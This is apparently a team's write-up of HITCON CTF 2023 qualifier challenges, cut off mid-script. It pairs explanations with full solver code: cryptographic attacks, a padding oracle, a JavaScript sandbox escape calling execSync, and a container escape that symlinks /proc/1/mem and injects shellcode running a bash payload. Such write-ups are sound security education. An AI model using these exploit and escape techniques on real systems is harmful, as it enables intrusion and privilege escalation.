# HITCON CTF 2023 Quals
💦 **Blue Water**
[TOC]
---
## crypto
### Share
For the generated polynomial $f(x)$, we can get $f(1),f(2),...,f(n-1)$. So we can get $g(x)=f(x)\mod(x-1)(x-2)...(x-n+1)$. The degree of $f(x)$ is $n-1$, so $g(x)=f(x)-([x^{n-1}]f(x))(x-1)(x-2)... (x-n+1)$. $g(0)=f(0)+(-1)^{n}(n-1)![x^{n-1}]f(x)$.
Due to the generation method, $[x^{n-1}]f(x)$ can take all $p-1$ values except $p-1$. And $f(0)$ remains unchanged. So $g(0)$ can take all $p-1$ values except $f(0)+(-1)^{n+1}(n-1)!$. We need about $p\log p$ queries to get all $p-1$ possible values. Then we can find the only impossible value and get $f(0)$, the secret number.
```python=
from Crypto.Util.number import isPrime
from pwn import *
conn = remote('chal-share.chal.hitconctf.com', 11111)
n = 14
m = 1
ans = 0
def ask(p: int) -> list[list[int]]:
N = p * 10
b = str(p).encode() + b'\n' + str(n).encode() + b'\n'
b *= N
conn.send(b)
gs = []
for _ in range(N):
conn.recvuntil(b'shares = ')
l = conn.recvline().decode().strip()
gs.append([int(s) for s in l[1:-1].split(', ')])
return gs
def work(p: int) -> int:
d = set()
while len(d) < p - 1:
for g in ask(p):
g0 = 0
for i in range(1, n):
t = g[i - 1]
for j in range(1, n):
if j != i:
t = t * (0 - j) * pow(i - j, -1, p) % p
g0 = (g0 + t) % p
d.add(g0)
for i in range(p):
if i not in d:
t = -1
for j in range(1, n):
t = t * (-j) % p
return (i + t) % p
for p in range(n + 1, 200):
if isPrime(p):
print(p)
ans = ans * p * pow(p, -1, m) + work(p) * m * pow(m, -1, p)
m *= p
ans %= m
print(ans, m)
assert m > 1 << 256 and ans < 1 << 256
conn.send(b'0\n0\n')
conn.sendlineafter(b'secret = ', str(ans).encode())
print(conn.recvall())
```
### Echo
1. Assume `t=bytes_to_long(b"echo '")`. Enumerate and find the `u,v` that satisfies `long_to_bytes(u),long_to_bytes(t*v),long_to_bytes(u*v)` all can be decoded and `long_to_bytes(u*v)` ends with `b"'"`.
For some `i,j`, `long_to_bytes((t*256^i+u)*(256^j+v))` starts with b"echo '", ends with `b"'"`, and can be decoded.
Construct `i1,j1,i2,j2` so that `i1,j1`, `i1,j2`, `i2,j1`, `i2,j2` all satisfy the conditions. `(a*b)*(c*d)=(a*d)*(c*b)`. Now we have `a1,b1,a2,b2` that satisfies `a1*b1=a2*b2` and can be generated by the server. And we can get `a1^d mod n,b1^d mod n,a2^d mod n,b2^d mod n`. So `(a1^d mod n)*(b1^d mod n)-(a2^d mod n)*(b2^d mod n)` is a multiple of `n`. Calculate the gcd for several such numbers. Then we can get `n`.
2. Get a command starting with `./give me flag please || ~~~`, which is equivalent to `echo '~~~'` under mod N, with LLL.
```python=
from shlex import quote
from Crypto.Util.number import *
from pwn import *
def ask(msg: str) -> str:
return f"echo {quote(msg)}"
print(ask('echo ') == "echo '" * 2)
t = bytes_to_long(b"echo '")
print(t)
# a0 = []
# for i in range(10000):
# try:
# if "'" not in long_to_bytes(t * i).decode():
# a0.append(i)
# except:
# continue
# for i in a0:
# for j in a0:
# try:
# if long_to_bytes(i * j).decode()[-1] == "'":
# print(i, j)
# except:
# continue
u, v = 2169, 2207
conn = remote('chal-echo.chal.hitconctf.com', 22222)
def work(n: int) -> int:
a = [((t if i < 2 else 1) << 8 * n * (i + 1)) + (u if i < 2 else v) for i in range(4)]
def get(t: int) -> bytes:
return long_to_bytes(t)[6:-1]
t02 = get(a[0] * a[2])
t03 = get(a[0] * a[3])
t12 = get(a[1] * a[2])
t13 = get(a[1] * a[3])
def ask(t: bytes) -> int:
conn.recvuntil(b'> ')
conn.sendline(b'1')
conn.recvuntil(b'Enter message: ')
conn.sendline(t)
conn.recvline()
return int(conn.recvline().decode().strip().split(': ')[-1])
a02 = ask(t02)
a03 = ask(t03)
a12 = ask(t12)
a13 = ask(t13)
return abs(a02*a13-a12*a03)
from math import gcd
n = work(10)
for i in range(11, 100):
n = gcd(n, work(i))
if n.bit_length() < 513 and n % 2 != 0 and n % 3 != 0:
print(n)
print(n.bit_length())
break
def try_solving(n, ln):
v = bytes_to_long(b'./give me flag please || ' + b'\x00' * ln + b' ')
v -= bytes_to_long(b"echo '" + b'\x00' * ln + b"'")
v %= n
mat = []
MUL = 2^128
MUL2 = 2^64
for i in range(ln):
row = [MUL * 256^(ln - i)] + [0] * i + [1] + [0] * (ln - i)
mat.append(row)
mat.append([MUL * n] + [0] * (ln + 1))
mat.append([-MUL * int(v)] + [0] * ln + [MUL2])
M = matrix(mat)
res = M.LLL(eta=0.99)
for row in res:
if row[0] == 0 and row[-1] == MUL2:
ans1 = b'./give me flag please || '
ans2 = []
print(row[1:ln + 1])
if not all(-126 <= v <= 126 for v in row[1:ln + 1]):
continue
print("YES")
for i in range(1, ln + 1):
for ch in range(11, 128):
if chr(ch) in "\n'\"|&()":
continue
v = ch + row[i]
if 0 <= v < 128 and v not in [ord('\n'), ord('"'), ord("'")]:
ans1 += bytes([ch])
ans2.append(v)
break
else:
break
else:
print(bytes(ans2))
try:
bytes(ans2).decode()
except UnicodeDecodeError:
continue
ans1 += b' '
tmp1 = bytes_to_long(ans1)
tmp2 = bytes_to_long(b"echo '" + bytes(ans2) + b"'")
assert tmp1 % n == tmp2 % n
return ans1, bytes(ans2)
ans = None
while ans is None:
for i in range(80, 120):
print(i)
res = try_solving(n, i)
if res:
ans = res
print(res)
break
break
conn.sendlineafter(b'> ', b'1')
conn.sendlineafter(b': ', ans[1])
conn.recvuntil(b'Command: ')
to_verify = conn.recvline().strip()
assert bytes_to_long(to_verify) % n == bytes_to_long(ans[0]) % n
conn.recvuntil(b'Signature: ')
sig = conn.recvline().strip()
conn.sendlineafter(b'> ', b'2')
conn.sendlineafter(b': ', ans[0])
conn.sendlineafter(b': ', sig)
conn.interactive()
```
### Collision
Just brute force the seed (`2**24` search space) and birthday it. Even a completely unoptimized pollard rho with distinguished points give answers in 5~6 seconds.
brute_seed.cc
```cpp=
#include<bits/stdc++.h>
#include<omp.h>
using namespace std;
#define ull unsigned long long
const int c=1,d=3;
ull v0,v1,v2,v3;
inline void SipRound()
{
v0+=v1;
v2+=v3;
v1=v1<<13|v1>>51;
v3=v3<<16|v3>>48;
v1^=v0;
v3^=v2;
v0=v0<<32|v0>>32;
v2+=v1;
v0+=v3;
v1=v1<<17|v1>>47;
v3=v3<<21|v3>>43;
v1^=v2;
v3^=v0;
v2=v2<<32|v2>>32;
}
inline void init(ull k0,ull k1)
{
v0=0x736f6d6570736575^k0;
v1=0x646f72616e646f6d^k1;
v2=0x6c7967656e657261^k0;
v3=0x7465646279746573^k1;
}
inline void update(ull msg)
{
v3^=msg;
for(int i=0;i<c;i++)SipRound();
v0^=msg;
}
inline ull finalize()
{
v2^=0xff;
for(int i=0;i<d;i++)SipRound();
return v0^v1^v2^v3;
}
inline void lcg(unsigned seed,unsigned char* c,size_t n)
{
unsigned x=seed;
for(size_t i=0;i<n;i++)
{
x=x*214013+2531011;
c[i]=x>>16&0xff;
}
}
unsigned char m[8];
ull hs[1ull<<24];
int main(int argc, char *argv[])
{
ull i,t;
sscanf(argv[1],"%llx",&t);
for(i=0;i<8;i++)m[i]=t>>(7-i<<3)&255;
ull h=atoll(argv[2]);
ull ans=0;
ull sure=0;
#pragma omp parallel for num_threads(12) private(v0,v1,v2,v3) reduction(+:ans)
for(i=0;i<1ull<<24;i++)
{
ull k[2];
lcg(i,(unsigned char*)k,16);
init(k[0],k[1]);
update(*((ull*)m));
update(8ull << 56);
if(finalize()==h) {
// printf("%llu\n%llu\n", k[0], k[1]);
ans+=i;
sure=1;
}
}
if (!sure) puts("nope");
else printf("%llu\n",ans);
return 0;
}
```
rho-collider.cc
```cpp=
#include <csignal>
#include <cstdio>
#include <random>
#include <cstdlib>
#include <thread>
#include <unistd.h>
#include <utility>
#include "parallel_hashmap/phmap.h"
using ull = unsigned long long;
namespace {
constexpr int kDistingushedPointLeadingZeros = 16;
class SipHash {
static constexpr int c = 1, d = 3;
ull v0, v1, v2, v3;
inline void Round() {
v0 += v1;
v2 += v3;
v1 = v1 << 13 | v1 >> 51;
v3 = v3 << 16 | v3 >> 48;
v1 ^= v0;
v3 ^= v2;
v0 = v0 << 32 | v0 >> 32;
v2 += v1;
v0 += v3;
v1 = v1 << 17 | v1 >> 47;
v3 = v3 << 21 | v3 >> 43;
v1 ^= v2;
v3 ^= v0;
v2 = v2 << 32 | v2 >> 32;
}
public:
SipHash(ull k0, ull k1)
: v0(0x736f6d6570736575 ^ k0), v1(0x646f72616e646f6d ^ k1),
v2(0x6c7967656e657261 ^ k0), v3(0x7465646279746573 ^ k1){};
void Update(ull msg) {
v3 ^= msg;
for (int i = 0; i < c; i++)
Round();
v0 ^= msg;
}
ull Finalize() {
v2 ^= 0xff;
for (int i = 0; i < d; i++)
Round();
return v0 ^ v1 ^ v2 ^ v3;
}
};
void LCG(unsigned seed, unsigned char *c, size_t n) {
unsigned x = seed;
for (size_t i = 0; i < n; i++) {
x = x * 214013 + 2531011;
c[i] = x >> 16 & 0xff;
}
}
std::pair<ull, ull> ComputeK(ull seed) {
ull k[2];
LCG(seed, (unsigned char *)k, 16);
return {k[0], k[1]};
}
ull salt;
std::pair<ull, ull> the_k;
ull F(ull x) {
SipHash h(the_k.first, the_k.second);
h.Update(salt);
h.Update(x);
h.Update(16ull << 56);
return h.Finalize();
}
bool IsDistinguishedPoint(ull x) {
return __builtin_clzll(x) >= kDistingushedPointLeadingZeros;
}
// I should do this in a message passing style, but too tired ._.
struct DistinguishedPointInfo {
ull sp;
ull distance;
};
// Maps from the distinguished point to the info.
phmap::parallel_flat_hash_map_m<ull, DistinguishedPointInfo> g_dp_info;
std::optional<std::pair<ull, ull>>
TryRecoverCollision(ull new_sp, ull new_distance,
const DistinguishedPointInfo &old_dp) {
// Repeated sp, unlucky :(
if (old_dp.sp == new_sp) {
fprintf(stderr,
"Warning: saw repeated SP %llu, this should not happen "
"frequently\n",
new_sp);
return {};
}
ull lsp = new_sp;
ull ssp = old_dp.sp;
ull ldist = new_distance;
ull sdist = old_dp.distance;
if (ldist < sdist) {
std::swap(lsp, ssp);
std::swap(ldist, sdist);
}
ull last0 = lsp;
ull last1 = ssp;
while (ldist != sdist) {
last0 = lsp;
lsp = F(lsp);
ldist--;
}
while (lsp != ssp) {
last0 = lsp;
last1 = ssp;
lsp = F(lsp);
ssp = F(ssp);
}
if (last0 != last1) {
return std::make_pair(last0, last1);
}
return {};
}
void Worker() {
std::random_device rd;
std::mt19937_64 gen(rd());
std::uniform_int_distribution<ull> dis(0, 0xffffffffffffffffull);
auto GenerateStartingPoint = [&]() { return dis(gen); };
bool done = false;
while (!done) {
ull sp = GenerateStartingPoint();
ull cur = sp;
ull distance = 0;
while (!IsDistinguishedPoint(cur)) {
cur = F(cur);
distance++;
}
g_dp_info.try_emplace_l(
cur,
[sp, distance, &done](auto &val) {
auto res = TryRecoverCollision(sp, distance, val.second);
if (res.has_value()) {
printf("%llu\n%llu\n", res->first, res->second);
fflush(stdout);
done = true;
}
},
DistinguishedPointInfo{sp, distance});
}
// Kills the program once we found a collision.
_exit(0);
}
} // namespace
int main(int argc, char *argv[]) {
sscanf(argv[1], "%llx", &salt);
salt = __builtin_bswap64(salt);
the_k = ComputeK(atoll(argv[2]));
int kNumThreads = std::thread::hardware_concurrency();
std::thread threads[kNumThreads];
for (int i = 0; i < kNumThreads; i++) {
threads[i] = std::thread(Worker);
}
for (int i = 0; i < kNumThreads; i++) {
threads[i].join();
}
return 0;
}
```
solve.py
```python=
from pwn import *
import subprocess
import time
# r = process("./run.sh")
r = remote("chal-collision.chal.hitconctf.com", 33333)
def do_round():
r.recvuntil(b"salt: ")
saltstr = r.recvline().decode()
r.sendlineafter(b"m1: ", b"")
r.sendlineafter(b"m2: ", b"00")
empty_hash = int(r.recvuntil(b" !=", drop=True).decode())
seed = int(subprocess.check_output(["./seed", saltstr, str(empty_hash)], encoding="utf-8"))
log.success(f"seed: {seed}")
begin = time.monotonic()
output = subprocess.check_output(["./coll", saltstr, str(seed)], encoding="utf-8").strip()
end = time.monotonic()
log.success(f"collider took {end-begin} seconds, output: {repr(output)}")
a, b = map(int, output.splitlines())
a = p64(a).hex()
b = p64(b).hex()
log.success(f"collision {a=} {b=}")
r.sendlineafter(b"m1: ", a.encode())
r.sendlineafter(b"m2: ", b.encode())
for i in range(8):
do_round()
r.interactive()
```
### Random Shuffling Algorithm
Without shuffling, it's just a simple broadcast attack with degree $11$. $\forall m\in msgs, \forall (pub,cur)\in (pubs,cts),\exists (a,b,c)\in cur, (a*m+b)^{11}-c\equiv0\pmod{pub}$. So $\forall m\in msgs, \forall (pub,cur)\in (pubs,cts),\prod_{(a,b,c)\in cur}((a*m+b)^{11}-c)\equiv0\pmod{pub}$. It's a broadcast attack with degree $44$. All $4$ $m$'s are solutions to the equation.
Flag length is short. So a small root can be found quickly. Then we can reduce the degree to $33$ and find all other $3$ roots at once. The numbers and lattice's size are large. So we need to use flatter in Coppersmith.
### EZRSA
1. Send some points on singular curves, then acquire `n`
2. Recover `d` from singular curves. This is well written in https://rbtree.blog/posts/2020-04-18-singular-elliptic-curve/
3. Recover `phi` for singular curves. Notice that `phi` is different by curves.
4. Multiply `phi` to random points. If the order of that point on either `F_p` or `F_q` is equivalent to singular curve ones, then we can recover either `p` or `q` by using GCD.
5. Recover `u, v` by using `two_squares` in sagemath.
```python=
from pwn import *
from tqdm import tqdm
import gmpy2, os
class ECRSA:
# this is an implementation of https://eprint.iacr.org/2023/1299.pdf
@staticmethod
def gen_prime(sz):
while True:
u1 = getRandomNBitInteger(sz)
u2 = getRandomNBitInteger(sz)
up = 4 * u1 + 3
vp = 4 * u2 + 2
p = up**2 + vp**2
if isPrime(p):
return p, up, vp
@staticmethod
def generate(l):
p, up, vp = ECRSA.gen_prime(l // 4)
q, uq, vq = ECRSA.gen_prime(l // 4)
n = p * q
g = ((p + 1) ** 2 - 4 * up**2) * ((q + 1) ** 2 - 4 * uq**2)
while True:
e = getPrime(l // 8)
if gmpy2.gcd(e, g) == 1:
break
priv = (p, up, vp, q, uq, vq)
pub = (n, e)
return ECRSA(pub, priv)
def __init__(self, pub, priv=None):
self.pub = pub
self.n, self.e = pub
self.priv = priv
if priv is not None:
self.p, self.up, self.vp, self.q, self.uq, self.vq = priv
def compute_u(self, a, p, u, v):
s = gmpy2.powmod(a, (p - 1) // 4, p)
if s == 1:
return -u
elif s == p - 1:
return u
elif s * v % p == u:
return v
else:
return -v
def encrypt(self, m):
r = getRandomRange(1, self.n)
a = (m**2 - r**3) * gmpy2.invert(r, self.n) % self.n
E = Curve(self.n, a, 0)
M = Point(E, r, m)
C = self.e * M
return int(C.x), int(C.y)
def decrypt(self, C):
if self.priv is None:
raise Exception("No private key")
xc, yc = C
a = (yc**2 - xc**3) * gmpy2.invert(xc, self.n) % self.n
Up = self.compute_u(a, self.p, self.up, self.vp)
Uq = self.compute_u(a, self.q, self.uq, self.vq)
phi = (self.p + 1 - 2 * Up) * (self.q + 1 - 2 * Uq)
d = gmpy2.invert(self.e, phi)
E = EllipticCurve(Zmod(self.n), [a, 0])
M = d * E(xc, yc)
return M.xy() # int(M.x), int(M.y)
def solve():
# r = process(['python3', 'server.py'])
r = remote('chal-ezrsa.chal.hitconctf.com', 44444)
def encrypt(m):
r.sendlineafter(b'> ', b'1')
r.sendlineafter(b'm = ', str(m).encode())
l = r.recvline().decode().strip()[1:-1].split(', ')
return int(l[0]), int(l[1])
def decrypt(x, y):
r.sendlineafter(b'> ', b'2')
r.sendlineafter(b'C = ', f"{x} {y}".encode())
l = r.recvline().decode().strip()[1:-1].split(', ')
return int(l[0]), int(l[1])
a, b = decrypt(4, 8)
v1 = a^3 - b^2
a, b = decrypt(9, 27)
v2 = a^3 - b^2
n = gcd(v1, v2)
for i in range(2, 100):
while n % i == 0:
n //= i
print("Got n")
Zn = Zmod(n)
d = (Zn(a) / Zn(b)) / (Zn(9) / Zn(27))
d = int(d)
m = randint(1, n)
x, y = encrypt(m)
u, v = decrypt(x, y)
a = (y**2 - x**3) * pow(x, -1, n) % n
E = EllipticCurve(Zmod(n), [a, 0])
found_e = False
for f in (Integer(d) / Integer(n)).continued_fraction().convergents()[1:]:
k, e = f.numerator(), f.denominator()
if int(e).bit_length() < 512:
continue
if int(e).bit_length() > 512:
break
M = e * E(u, v)
Mx, My = M.xy()
if Mx == x and My == y:
found_e = True
phi = (e * d - 1) // k
break
if not found_e:
# Failed to find e
r.close()
return
print("Got e and phi")
while True:
print("WOW")
x, y = randint(1, n - 1), randint(1, n - 1)
a = (y**2 - x**3) * pow(x, -1, n) % n
E = EllipticCurve(Zmod(n), [a, 0])
try:
phi * E(x, y)
except ZeroDivisionError as exc:
t = str(exc).split('Inverse of ')[1].split(' does not exist')[0]
t = int(t)
p = gcd(t, n)
print(p)
assert n % p == 0
q = n // p
break
print("Got p")
up, vp = two_squares(p)
uq, vq = two_squares(q)
if phi % (p + 1 + 2 * up) == 0:
up, vp = vp, up
if phi % (q + 1 + 2 * uq) == 0:
uq, vq = vq, uq
assert phi == (p + 1 + 2 * vp) * (q + 1 + 2 * vq)
priv = (p, up, vp, q, uq, vq)
pub = (n, e)
print("Got everything!")
ec = ECRSA(pub, priv)
r.sendlineafter(b'> ', b'3')
for _ in tqdm(range(16)):
r.recvuntil(b'C = ')
l = r.recvline().decode().strip()[1:-1].split(', ')
x, y = int(l[0]), int(l[1])
_, m = ec.decrypt((x, y))
r.sendlineafter(b'm = ', str(m).encode())
r.interactive()
while True:
solve()
```
### Careless Padding
If a block ends with `??ZXY...YYY`, it's possible to brute-force `X` by brute-forcing, hoping `X` becomes `Y` so unpadding function uses `Z`.
Now we can guess all but the last byte of a block. Just enumerate it, guess other $15$ bytes and manually find the valid solution.
```python=
from pwn import *
from tqdm import tqdm
import string
CHARSET = [ord(v) for v in string.printable]
r = remote('chal-careless-padding.chal.hitconctf.com', 11111)
r.recvuntil(b'encrypted key: ')
ct = bytes.fromhex(r.recvline().strip().decode())
sent_count = 0
def send(bs):
global r, sent_count, ct
b = ''.join(b.hex() + '\n' for b in bs).encode()
r.send(b)
s = 0
for _ in range(len(bs)):
r.recvuntil(b'unlock:')
l = r.recvline()
assert b'What?' not in l
if b'weirdo' not in l:
s += 1
sent_count += len(bs) >> 4
if sent_count == 512:
r.close()
r = remote('chal-careless-padding.chal.hitconctf.com', 11111)
r.recvuntil(b'encrypted key: ')
ct = bytes.fromhex(r.recvline().strip().decode())
sent_count = 0
return s
ct_len = len(ct)
# # Find X % 16
# for i in range(16):
# ct_2 = bytearray(ct)
# ct_2[-48 + i] ^= 2
# if not send(ct_2):
# X_16 = i
# break
X_16 = 13 # This is obvious, cuz ord('}') % 16 = 13
X = ord('}')
# # Find the position of X
# for i in range(16):
# cnt = 0
# ct_bs = []
# for j in range(128):
# ct_3 = bytearray(ct[-48:])
# ct_3[16 + i] ^= 1
# ct_3[X_16] = j << 1
# ct_bs.append(ct_3)
# cnt = send(ct_bs)
# print(chr(i), cnt)
# if cnt != 1:
# X_pos = i
# break
X_pos = 5
# ? ? ? ? | ? ? ? ? | ? ? ? ? | Y ? ? ?
# ? ? ? ? | ? X Y Y | Y Y Y Y | Y Y Y Y
# Find the value of Y by changing ct[-16 + 5]
# for i in CHARSET:
# changed_pos = i % 16
# ct_bs = []
# for j in range(128):
# ct_b = bytearray(ct[-48:])
# ct_b[16 + 5] ^= i ^ X
# ct_b[changed_pos] = j << 1
# ct_bs.append(ct_b)
# cnt = send(ct_bs)
# print(chr(i), cnt)
# if cnt != 1:
# Y = i
# break
flag_suf = b'p4dd1ng_w0n7_s4v3_y0u_Fr0m_4_0rac13_617aa68c06d7ab91f57d1969e8e8532}"}8888888888'
recovered = bytearray(112 - 16 - len(flag_suf)) + bytearray(flag_suf)
def guess(idx):
block_offset = idx - idx % 16
if idx % 16 == 15:
# I hope it's safe to guess that flag[idx - 1] != flag[idx]
# Not implemented yet
exit(0)
for ch_mod in range(16):
ct_bs = []
for i in range(128):
ct_b = bytearray(16) + bytearray(ct[block_offset:block_offset + 32])
for j in range(idx % 16 + 1, 16):
ct_b[16 + j] ^= recovered[block_offset + j]
ct_b[ch_mod] = i << 1
ct_bs.append(ct_b)
cnt = send(ct_bs)
if cnt == 1:
break
else:
# This means flag[idx] == 0
print("Something wrong")
return -1
cands = []
for ch in CHARSET:
if ch % 16 == ch_mod:
cands.append(ch)
print(idx, [chr(i) for i in cands])
for ch in cands:
ct_bs = []
for i in range(128):
ct_b = bytearray(16) + bytearray(ct[block_offset:block_offset + 32])
for j in range(idx % 16 + 1, 16):
ct_b[16 + j] ^= recovered[block_offset + j]
ct_b[16 + idx % 16] ^= ch
ct_b[0] = i << 1
ct_bs.append(ct_b)
cnt = send(ct_bs)
if cnt != 1:
break
else:
# When flag[idx - 1] % 16 == flag[idx] % 16
print("Failed on first try")
# if idx % 16 == 0:
# print(f"flag[{idx}] is difficult to guess. cands:", cands)
# return cands[0]
for ch in cands:
ct_bs = []
for i in range(128):
ct_b = bytearray(16) + bytearray(ct[block_offset:block_offset + 32])
for j in range(idx % 16 + 1, 16):
ct_b[16 + j] ^= recovered[block_offset + j]
ct_b[16 + idx % 16] ^= ch
ct_b[(16 + idx % 16) - 1] ^= 1
ct_b[0] = i << 1
ct_bs.append(ct_b)
cnt = send(ct_bs)
print(ch, cnt)
if cnt != 1:
break
else:
print("Something wrong")
return -1
return ch
for i in reversed(range(112 - 16 - len(flag_suf))):
if i % 16 != 15:
res = guess(i)
recovered[i] = res
print(recovered)
else:
cands = []
for ch in CHARSET:
recovered[i] = ch
for j in range(1, 16):
res = guess(i - j)
if res == -1:
break
else:
recovered[i - j] = res
else:
print(chr(ch), recovered)
cands.append(ch)
else:
print("Something error")
print(cands)
exit(0)
```
## forensics
### Not Just usbpcap
PCAP that contains both HID data and a Bluetooth HCI trace. Decoding the HID first shows that there's a mouse pointer that clicks around inside some square (likely some kind of UI, Spotify?) together with keyboard inputs spelling out
```
radio.chal.hitconctf.com
sorry, no flag here. try harder.
but i can tell you that the flag format is hitcoin{lower-case-english-separated-with-dash}
again, this is not the flag ;)
c87631
```
When looking at the HCI data, there's a lot of A2DP packets containing sound. I look at the SetConfiguration packet, and see that it sets the codec to AAC (MPEG-2,4) and the sample rate to 48000Hz.
I dump all the packets using tshark, filtering the field `data.data`. They look like this
```
47fc0000b08c800300ffff912121450...
47fc0000b08c800300ffff91214ccd3...
47fc0000b08c800300ffff91217a946...
47fc0000b08c800300ffff91211a945...
47fc0000b08c800300ffff91211a945...
47fc0000b08c800300ffff91211a946...
...
```
Which leads me to [this StackOverflow post](https://stackoverflow.com/questions/35915317/decode-mpeg-2-4-aac-lc-latm-bitstream-for-a2dp) where someone explains that this format is called LATM bitstream, and provide some [example code on how to decode it](https://gist.github.com/Arkq/66fe948c1051684d8909d730c34396d8).
I modify this code to read each line from the tshark dump, and modify Bitreader.readbits to
```python
def readbits(self, n, name):
v = 0
bits = n
while bits > 0:
v = (v << 1) | self.readbit()
bits -= 1
if name=="payload":
self.buf.append(v)
if name=="byteAlign":
frames.append( bytes.fromhex("ff f1 4c 80 52 c2 70") + bytes(self.buf) )
return v
```
and join the frames to write them into a file. This appends a valid AAC header at the beginning of each decoded bitstream, where the length is correct. Now we have a crystal clear recording of someone spelling out the flag. Together with the USB-HID keyboard input, we add dashes between the lowercase words and submit.
`hitcon{secret-flags-unveiled-with-bluetooth-radio}`
## misc
### Lisp.js
`.` gives attribute access of JS objects. It's then a classical "where's my child_process module now" challenge.
```
(do (let f (fun () (do (. (. (. print "arguments") "0") "0") ) )) (let j2l (. (. ((. (. (. (. (. (. (. (. (. do "caller") "caller") "caller") "arguments") "1") "cache") "/app/runtime.js" ) "exports") "extendedScope")) "table") "j2l") ) (print ( (j2l (. ((j2l (. (. (. (. (. (. (. print "caller") "caller") "caller") "caller") "caller") "arguments") "1")) "child_process") "execSync")) "/app/readflag")) )
```
### HITOJ
#### Level 1
The challenge reuses an existing judger implementation to implement a custom online judge. It displays full test case + stdout on the submission detail page. We did a brief probing of the environment and realized that for each submission the server spawns a container with the following entrypoint script:
```shell=
#!/bin/bash
if [[ "$$" != 1 ]]; then
# pls don't do this
exit
fi
workdir="/run/workdir"
judgedir="/run/judge"
testdir="$judgedir/testcases"
result_path="$judgedir/result.log"
src_path="$workdir/submission.py"
exe_path="/usr/bin/python3"
mkdir "$workdir"
chmod 777 "$workdir"
cd "$workdir"
judge_test () {
test_name="$1"
real_input_path="$testdir/$test_name"
input_file="./$test_name"
output_file="./$test_name.out"
status_file="./$test_name.json"
ln -s "$real_input_path" "$input_file"
touch "$output_file" "$status_file"
chmod 600 "$status_file"
/usr/lib/libjudger.so \
--max_cpu_time=1000 \
--max_real_time=2000 \
--max_memory=67108864 \
--max_stack=67108864 \
--max_output_size=65536 \
--exe_path="$exe_path" \
--args="-B" \
--args="$src_path" \
--env="PYTHONIOENCODING=utf-8" \
--input_path="$input_file" \
--output_path=/dev/stdout \
--error_path=/dev/null \
--log_path=/dev/stderr \
--status_path="$status_file" \
--seccomp_rule_name=general \
--uid=1337 \
--gid=1337 \
| base64 -w0 > "$output_file"
jq \
--arg test "$test_name" \
--rawfile output "$output_file" \
-c -M \
'.test = $test | .output = $output' \
"$status_file" \
>> "$result_path"
rm -f "$input_file" "$output_file" "$status_file"
}
for test_file in $(ls "$testdir"); do
judge_test "$test_file"
done
```
We then dumped `/usr/lib/libjudger.so` and found that it is largely the same as the open-source QDUOJ judger code, with the addition of a status file output.
At this point we also identified a bug in the seccomp filter it installs: it allows the execve syscall, but only when the first argument is a `_config->exe_path`. Which means it checks that the pointer value (instead of the string pointed to) must be what was in `_config->exe_path`. If we can somehow recover the address it points to we can call execve with any argument we want.
This does seem like the intended bug, since the challenge told us to run `/getflag give me flag`. We were then curious on how it works: as libseccomp sets no_new_privs bit before installing the seccomp filter, we can't gain new privilege via `execve`. Does it exploit the fact that a file can be only executable on Linux? To our surprise, the answer is no. The `/getflag` file is world-readable and we reversed it, it simply binds to a privileged port (321) and asks a network service to return the flag.
We then determined that the `execve` bug is useless, and the challenge requires full escape to solve and spent time working on a full escape.
The challenge author later changed the challenge and suddenly someone solved it. We checked again and found that there's still no privilege separation. At this point we were suspicious: is it that we don't need to be privileged to bind to :321? We quickly implemented what `/getflag` does and got the flag:
```python=
import sys
import os
import base64
import socket
n = int(input())
a, b = 0, 0
for _ in range(n):
a, b = map(int, input().split())
print(a + b)
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.bind(("0.0.0.0", 321))
rnd = os.urandom(256)
sock.sendto(rnd, ("172.12.34.56", 1337))
buf, _ = sock.recvfrom(256)
res = bytes([a ^ b for a, b in zip(buf[1:], rnd)])
print(res)
except:
import traceback
traceback.print_exc(file=sys.stdout)
```
#### Level 2
The challenge author introduced the part 2 ~1 hour we solved the first part. This part fixed the bug that it takes no privilege to bind to :321, without changing anything else, and it was introduced as a revenge challenge of part 1. But by the analysis above we simply can't exploit the `execve` bug. At this point we asked challenge author if the `execve` bug is intended and if the challenge is broken again. The challenge author admitted that it's slightly fucked up, but indicated that the challenge is still solvable.
So, full escape here we go. Check the `entrypoint.sh` and environment again, we immediately found a few suspicious stuff:
1. While most of the filesystem is mounted read-only, `/run/workdir` is not only writable, but *world*-writable. This means we can replace any file under this path to be a symbolic link.
2. `ln -s` does not replace an existing file and the judger opens the input file *before* dropping privilege. So if we replace the input file with a symbolic link to another file we can gain read-only access to arbitrary file as root.
3. Similar thing works for output file, but we can only write base64 encoded data, once.
Upon a closer look we found that the judger, unlike most, does not close extra file descriptors and it leaks a writable fd to the status file! If we replace the status file with a symbolic link we... get arbitrary WRONLY fd opened as root.
The challenge is then trivial to solve, just dump /proc/1/exe, find somewhere to put shellcode and hijack it with write access to `/proc/1/mem`:
```python=
import sys
import os
import ctypes
import contextlib
def which_test_is_this():
for i in range(1, 6):
if os.path.exists(f"/run/workdir/{i}.txt.out"):
return i
print("Cannot find which test is this")
exit(1)
TESTCASE = which_test_is_this()
# TESTCASE_ORDER = [2, 5, 1, 4, 3]
TESTCASE_ORDER = [1, 2, 3, 4, 5]
RUN_ORDER = TESTCASE_ORDER.index(TESTCASE)
PAYLOAD = r"""
FLAG="$(/getflag give me flag)"
FLAGB64="$(echo $FLAG | base64 -w0)"
echo '{"cpu_time": 1, "real_time": 1, "memory": 2, "signal": 0, "exit_code": 0, "error": 0, "result": 0, "test": "3.txt", "output": "'"$FLAGB64"'\n"}' > /run/judge/result.log
"""
def setup():
libc = ctypes.CDLL("libc.so.6")
fd = libc.creat(b"/run/workdir/payload", 0o755)
with os.fdopen(fd, "w") as f:
f.write(PAYLOAD)
os.symlink("/proc/1/maps", f"/run/workdir/{TESTCASE_ORDER[1]}.txt")
os.symlink("/proc/1/mem", f"/run/workdir/{TESTCASE_ORDER[2]}.txt")
os.symlink("/proc/1/mem", f"/run/workdir/{TESTCASE_ORDER[2]}.txt.json")
VMMAP_FILE = "/run/workdir/vmmap"
LOG_FILE = "/run/workdir/explog"
MEM_RD_FD = 0
MEM_WR_FD = 3
# execve /bin/bash /run/workdir/payload
SHELLCODE = b'jhH\xb8/bin/basPH\x89\xe7H\xb8\x01\x01\x01\x01\x01\x01\x01\x01PH\xb8`xmn`e\x01\x01H1\x04$H\xb8orkdir/pPH\xb8\x01\x01\x01\x01\x01\x01\x01\x01PH\xb8i\x01.sto.vH1\x04$H\xb8/bin/basP1\xf6Vj\x12^H\x01\xe6Vj\x10^H\x01\xe6VH\x89\xe61\xd2j;X\x0f\x05'
def read_mem(addr, size):
